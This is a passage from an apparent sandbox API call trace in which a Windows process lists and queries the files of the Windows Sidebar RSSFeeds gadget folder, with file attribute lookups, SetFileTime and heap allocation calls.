Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0080.845] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.845] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.845] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1aee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.js", cAlternateFileName="")) returned 1 [0080.845] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0080.845] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0080.845] GetLastError () returned 0x12 [0080.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d928) returned 1 [0080.845] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d820) returned 1 [0080.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d718) returned 1 [0080.845] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x271c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.html", cAlternateFileName="")) returned 1 [0080.845] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.845] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xcfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0080.846] GetLastError () returned 0x12 [0080.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d0e8) returned 1 [0080.846] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122d1f0) returned 1 [0080.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122cfe0) returned 1 [0080.846] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.846] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.846] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.847] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.847] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.847] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.847] NtClose (Handle=0x174) returned 0x0 [0080.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122cfe0 [0080.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d1f0 [0080.848] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.851] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8061433b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8061433b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.852] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce029cd, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3ce029cd, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3ce029cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1369, dwReserved0=0x0, dwReserved1=0x0, cFileName="16-on-black.gif", cAlternateFileName="")) returned 1 [0080.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d0e8 [0080.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff118 [0080.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d718 [0080.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.853] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f36d12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f36d12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce28b2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_Off.png", cAlternateFileName="")) returned 1 [0080.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.853] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff138 [0080.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d820 [0080.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.854] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f36d12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f36d12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce28b2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonDown_On.png", cAlternateFileName="")) returned 1 [0080.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff158 [0080.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122d928 [0080.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.856] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce4ec89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_Off.png", cAlternateFileName="")) returned 1 [0080.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff178 [0080.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122df58 [0080.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6240) returned 0x124a7c8 [0080.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12312f0) returned 1 [0080.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.857] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce4ec89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="buttonUp_On.png", cAlternateFileName="")) returned 1 [0080.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff198 [0080.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122e060 [0080.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.858] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f5ce6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f5ce6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce74de7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x112b, dwReserved0=0x0, dwReserved1=0x0, cFileName="flyoutBack.png", cAlternateFileName="")) returned 1 [0080.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff1b8 [0080.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122e168 [0080.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.860] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e78641, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e78641, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce74de7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_docked.png", cAlternateFileName="")) returned 1 [0080.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff1d8 [0080.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122e270 [0080.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.861] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e9e79e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e9e79e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce9af45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_floating.png", cAlternateFileName="")) returned 1 [0080.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff1f8 [0080.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122e378 [0080.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.862] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e9e79e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e9e79e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce9af45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="item_hover_flyout.png", cAlternateFileName="")) returned 1 [0080.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff218 [0080.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122e480 [0080.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.863] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ec48fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ec48fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cee7201, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="navBack.png", cAlternateFileName="")) returned 1 [0080.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff238 [0080.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122e588 [0080.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.865] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f5ce6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f5ce6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_docked.png", cAlternateFileName="")) returned 1 [0080.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff258 [0080.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122e690 [0080.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.866] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f82fcc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f82fcc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="rssBackBlue_Undocked.png", cAlternateFileName="")) returned 1 [0080.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff278 [0080.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122e798 [0080.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.867] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3cf334bd, 